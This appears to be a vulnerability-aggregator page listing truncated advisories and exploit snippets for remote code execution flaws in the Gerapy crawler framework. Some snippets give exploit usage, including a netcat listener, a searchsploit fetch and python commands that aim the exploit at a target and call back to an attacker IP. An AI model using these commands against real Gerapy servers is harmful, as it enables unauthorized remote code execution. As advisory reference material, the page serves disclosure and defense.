CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 войдите на портал как администратор добавьте новый проект sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

CVE-2021-43857

CVE-2021-43857 O Gerapy anterior à versão 0.9.8 é vulnerável à execução remota de código. Este problema é corrigido na versão 0.9.8. CVE-2021-43857 é uma vulnerabilidade classificada com prioridade Crítica CVSS 9.8 que leva à execução remota de código. Esta vulnerabilidade afeta todas as versões...

cve-2021-32849

cve-2021-32849 cve-2021-32849 Gerapy-Befehlsausführung Verwendung Zuerst einen nc-Listener starten und dann mit dem Exploit angreifen root@kitploit: python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 Gerapy-Befehlsausführung Haftungsausschluss root@kitploit: Das Skript dient nur zu Lern- und Referenzzwecken. Bitte greifen Sie nicht böswillig die Websites anderer an. Bei Gesetzesverstößen liegt die Verantwortung für alle Konsequenzen beim Benutzer. Technologie ist...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 RCE autenticata Questo repository contiene un proof of concept per CVE-2021-43857 , una vulnerabilità di esecuzione di codice in remoto che affligge Gerapy -p -L -P Requisiti 1. Python 3.x 2. requests e pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

Summary: CVE-2026-16209 affects Gerapy up to 0.9.13. The vulnerability is in an unknown function within gerapy/server/core/views.py, in the Project Upload Endpoint, causing missing authentication. It is a network-accessible issue that can be exploited remotely; the exploit is public. A patch iden...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

PT-2026-61043

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

Exploit for OS Command Injection in Gerapy

CVE-2021-43857-Gerapy-v0.9.7 - login to portal as admin - add...

EUVD-2020-0083

Malware in sbrugna...

EUVD-2022-0113

Malicious code in bioql PyPI...

CVE-2021-32849

Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds...

CVE-2021-43857

Gerapy is a distributed crawler management framework. Gerapy prior to version 0.9.8 is vulnerable to remote code execution, and this issue is patched in version 0.9.8...

VulnCheck KEV: CVE-2021-32849

Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds...

Exploit for OS Command Injection in Gerapy

CVE-2021-43857 CVE-2021-43857 Gerpy command execution...

Gerapy has unspecified vulnerabilities

Gerapy is a distributed crawler management framework based on Scrapy, Scrapyd, Django and Vue.js. A security vulnerability exists in Gerapy v 0.9.7, which stems from an access control vulnerability that can be caused by the spider parameter in the projectconfigure function. No details of the...

Remote Code Execution (RCE)

gerapy is vulnerable to remote code execution. An attacker can inject and execute malicious commands through the projectconfigure function of views.py...

GHSA-29VR-79W7-P649 Duplicate Advisory: Incorrect Authorization in Gerapy

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9w7f-m4j4-j3xw. This link is maintained to preserve external references. Original Description An Access Control vunerabiity exists in Gerapy v 0.9.7 via the spider parameter in projectconfigure function...